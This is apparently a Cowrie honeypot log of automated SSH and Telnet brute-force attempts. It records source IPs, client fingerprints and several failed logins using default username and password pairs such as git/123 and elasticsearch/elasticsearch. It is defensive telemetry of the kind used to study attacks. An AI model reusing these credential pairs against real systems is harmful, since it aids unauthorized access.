{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":52368,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ac76b6db53d","protocol":"ssh","message":"New connection: 176.65.139.95:52368 (159.203.135.109:22) [session: 5ac76b6db53d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:35.776676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:35.781961Z","src_ip":"176.65.139.95","session":"5ac76b6db53d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:35.865801Z","src_ip":"176.65.139.95","session":"5ac76b6db53d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"app","password":"app123","message":"login attempt [app/app123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:36.426471Z","src_ip":"176.65.139.95","session":"5ac76b6db53d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":41490,"dst_ip":"159.203.135.109","dst_port":22,"session":"6136caad5cc1","protocol":"ssh","message":"New connection: 192.109.200.78:41490 (159.203.135.109:22) [session: 6136caad5cc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:36.950750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:36.994517Z","src_ip":"192.109.200.78","session":"6136caad5cc1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:37.077367Z","src_ip":"192.109.200.78","session":"6136caad5cc1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dani","password":"dani","message":"login attempt [dani/dani] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:37.326017Z","src_ip":"192.109.200.78","session":"6136caad5cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":4043,"dst_ip":"159.203.135.109","dst_port":23,"session":"2626afea798c","protocol":"telnet","message":"New connection: 212.252.78.49:4043 (159.203.135.109:23) [session: 2626afea798c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:37.377351Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:37.511126Z","src_ip":"176.65.139.95","session":"5ac76b6db53d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:38.412750Z","src_ip":"192.109.200.78","session":"6136caad5cc1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":40624,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb10d5afdb69","protocol":"telnet","message":"New connection: 212.252.78.49:40624 (159.203.135.109:23) [session: bb10d5afdb69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:39.811707Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44666,"dst_ip":"159.203.135.109","dst_port":22,"session":"cdad6f89d720","protocol":"ssh","message":"New connection: 192.109.200.78:44666 (159.203.135.109:22) [session: cdad6f89d720]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:40.937013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:40.941570Z","src_ip":"192.109.200.78","session":"cdad6f89d720","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:41.026986Z","src_ip":"192.109.200.78","session":"cdad6f89d720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123","message":"login attempt [git/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:41.275645Z","src_ip":"192.109.200.78","session":"cdad6f89d720","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57336,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff58283b1e6c","protocol":"ssh","message":"New connection: 176.65.139.95:57336 (159.203.135.109:22) [session: ff58283b1e6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:41.696829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:41.705708Z","src_ip":"176.65.139.95","session":"ff58283b1e6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:41.781406Z","src_ip":"176.65.139.95","session":"ff58283b1e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.252.78.49","src_port":54850,"dst_ip":"159.203.135.109","dst_port":23,"session":"da5fed4a6279","protocol":"telnet","message":"New connection: 212.252.78.49:54850 (159.203.135.109:23) [session: da5fed4a6279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:41.929027Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:42.361588Z","src_ip":"192.109.200.78","session":"cdad6f89d720","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kingbase","password":"123456","message":"login attempt [kingbase/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:42.376456Z","src_ip":"176.65.139.95","session":"ff58283b1e6c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:43.462134Z","src_ip":"176.65.139.95","session":"ff58283b1e6c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44700,"dst_ip":"159.203.135.109","dst_port":22,"session":"79c2eaf4f4a3","protocol":"ssh","message":"New connection: 192.109.200.78:44700 (159.203.135.109:22) [session: 79c2eaf4f4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:45.140602Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:45.145422Z","src_ip":"192.109.200.78","session":"79c2eaf4f4a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:45.229528Z","src_ip":"192.109.200.78","session":"79c2eaf4f4a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sonar","password":"sonar123","message":"login attempt [sonar/sonar123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:45.491503Z","src_ip":"192.109.200.78","session":"79c2eaf4f4a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:46.579559Z","src_ip":"192.109.200.78","session":"79c2eaf4f4a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":57348,"dst_ip":"159.203.135.109","dst_port":22,"session":"e07a85898b89","protocol":"ssh","message":"New connection: 176.65.139.95:57348 (159.203.135.109:22) [session: e07a85898b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:47.779860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:47.784647Z","src_ip":"176.65.139.95","session":"e07a85898b89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:47.934344Z","src_ip":"176.65.139.95","session":"e07a85898b89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"soporte","password":"soporte","message":"login attempt [soporte/soporte] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:48.284330Z","src_ip":"176.65.139.95","session":"e07a85898b89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:49.369687Z","src_ip":"176.65.139.95","session":"e07a85898b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49374,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1028fdc77f9","protocol":"ssh","message":"New connection: 159.203.92.129:49374 (159.203.135.109:22) [session: d1028fdc77f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:49.641134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:49.645516Z","src_ip":"159.203.92.129","session":"d1028fdc77f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:49.649768Z","src_ip":"159.203.92.129","session":"d1028fdc77f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Nigeria","password":"Nigeria","message":"login attempt [Nigeria/Nigeria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:49.663589Z","src_ip":"159.203.92.129","session":"d1028fdc77f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":53558,"dst_ip":"159.203.135.109","dst_port":22,"session":"3cc2f4eeb6f5","protocol":"ssh","message":"New connection: 192.109.200.78:53558 (159.203.135.109:22) [session: 3cc2f4eeb6f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:50.379989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:50.450276Z","src_ip":"192.109.200.78","session":"3cc2f4eeb6f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:50.533977Z","src_ip":"192.109.200.78","session":"3cc2f4eeb6f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:50.670397Z","src_ip":"159.203.92.129","session":"d1028fdc77f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"elasticsearch","message":"login attempt [elasticsearch/elasticsearch] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:50.791623Z","src_ip":"192.109.200.78","session":"3cc2f4eeb6f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:23:52.073087Z","src_ip":"192.109.200.78","session":"3cc2f4eeb6f5","protocol":"ssh"}
